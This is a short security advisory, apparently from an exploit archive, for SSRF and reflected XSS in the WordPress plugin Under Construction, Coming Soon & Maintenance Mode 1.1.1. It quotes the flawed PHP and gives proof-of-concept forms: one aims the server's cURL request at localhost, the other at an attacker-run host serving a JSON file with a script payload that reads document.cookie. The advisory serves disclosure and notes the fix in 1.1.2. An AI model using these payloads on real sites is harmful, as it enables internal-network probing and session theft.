WordPress Under Construction, Coming Soon, And Maintenance Mode 1.1.1 SSRF / XSS

`There are SSRF and RXSS vulnerabilities in the WordPress plugin Under Construction, Coming Soon & Maintenance Mode version 1.1.1.  
Both vulnerabilities are fixed in version 1.1.2:  
https://wordpress.org/plugins/under-construction-maintenance-mode/#developers  
  
[1] SSRF  
  
Here is the relevant code from file includes/mc-get_lists.php:  
  
$apiKey = $_POST['apiKey'];  
$dataCenter = substr( $apiKey , strpos( $apiKey,'-' ) + 1 );  
$url = 'https://'. $dataCenter. '.api.mailchimp.com/3.0/lists/';  
  
The user submits the POST parameter "apiKey", and the code constructs a https URL from it without any sanitization and then  
retrieves it with cURL, which leads to a SSRF bug.  
  
POC:  
  
<form method="post" action="http://attacked.server/wp-content/plugins/under-construction-maintenance-mode/includes/mc-get_lists.php">  
<input type="text" name="apiKey" value="-localhost:8765/test/test/test?key1=val1&dummy=" />  
<input type="submit" value="Submit!" />  
</form>  
  
[2] RXSS  
  
The code in the same file decodes JSON data fetched from the URL and then displays HTML code from the retrieved data without  
any HTML escaping, leading to a reflected cross-site scripting issue where the payload is on a different server.  
  
POC (attacked.server runs WordPress with a vulnerable version of this plugin, and hacker.server is run by the attacker):  
  
<form method="post" action="http://attacked.server/wp-admin/admin-ajax.php">  
<input type="hidden" name="action" value="ucmm_mc_api" />  
<input type="text" name="apiKey" value="-hacker.server/test.json?dummy=" />  
<input type="submit" value="Submit!" />  
</form>  
  
test.json:  
  
[[{"id":"<script>alert(document.location);alert(document.cookie);<\/script>"}]]  
  
// Mr.F in 2021  
`